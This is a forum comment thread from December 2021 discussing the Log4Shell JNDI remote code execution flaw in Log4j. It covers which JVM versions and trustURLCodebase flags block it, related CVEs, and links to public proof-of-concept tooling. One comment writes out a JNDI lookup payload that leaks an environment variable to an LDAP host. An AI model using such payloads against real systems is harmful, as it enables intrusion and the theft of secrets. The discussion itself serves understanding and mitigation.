News for hackers. Stuff that matters.
Re:Log4j RCE Found by brasetvik on Thursday December 09, 2021 @07:28PM (#29505013)
Are there any mitigations in recent JVMs?

I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload.

See also:

- https://github.com/tangxiaofeng7/apache-log4j-poc

- https://github.com/mbechler/marshalsec

- https://github.com/veracode-research/rogue-jndi

Minecraft servers were being actively exploited according to various tweets.

Re:Log4j RCE Found by Fabricio20 on Thursday December 09, 2021 @07:31PM (#29505027)
Yes, more specifically after Java 8u191 you need to flag the client with: -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.

Re:Log4j RCE Found by znep on Friday December 10, 2021 @03:38AM (#29507757)
While the specific exploit may not be possible in 8u191 and later, I am not convinced they are safe from all RCEs using this vulnerability. It does make it harder to exploit, and hit or miss depending on what is available in the classpath.

See https://www.veracode.com/blog/research/exploiting-jndi-injec...

Re:Log4j RCE Found by brasetvik on Thursday December 09, 2021 @07:42PM (#29505100)
That's good clarification, thanks.

I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient.

While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.

Re:Log4j RCE Found by Fabricio20 on Thursday December 09, 2021 @07:57PM (#29505207)
If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.
Re:Log4j RCE Found by ryan_lane on Thursday December 09, 2021 @09:05PM (#29505637)
Pingback can also include variable contents, so it's not just "they can get the IPs", but also potentially secrets and such.
Re:Log4j RCE Found by brasetvik on Friday December 10, 2021 @10:46AM (#29511222)
Yeah, `${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}`
Re:Log4j RCE Found by garydgregory on Thursday December 09, 2021 @09:22PM (#29505733)
Re:Log4j RCE Found by cjcampbell on Friday December 10, 2021 @03:08AM (#29507583)
8u121 seems to address the RMI vector but not LDAP (per https://www.veracode.com/blog/research/exploiting-jndi-injec...).
Re:Log4j RCE Found by twic on Friday December 10, 2021 @12:58PM (#29513155)
The trustURLCodebase check was added to the LDAP provider in 2009:

https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...

This change is included in tag jdk8-b01, which was the first release build of Java 8.

I don't think this exploit as described actually works against a default-configured JVM released any time in the last decade. Is there actually an executable PoC which shows otherwise?

Now, it's true there are ways to exploit deserialisation without loading code. You need to find a class in the classpath that does something sketchy when deserialised. There has been a lot of work to clean up such things in recent years, but it's possible some still exist. Again, i would like to see a PoC.

Re:Log4j RCE Found by twic on Friday December 10, 2021 @05:47PM (#29516418)
Or maybe not:

> Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834).

https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...

Re:Log4j RCE Found by nyxmare on Friday December 10, 2021 @02:38AM (#29507414)
so, thats mean its impossible to get RCE without those flag?
Re:Log4j RCE Found by cjcampbell on Friday December 10, 2021 @07:29PM (#29517201)
It is still possible to RCE, but you won’t be able to achieve it using the proof of concept code. See the article for resources that describe alternative methods to exploit.
Re:Log4j RCE Found by kosma on Thursday December 09, 2021 @10:20PM (#29506054)
I find it the most bizarre that I had my Minecraft server patched before the news even hit HN.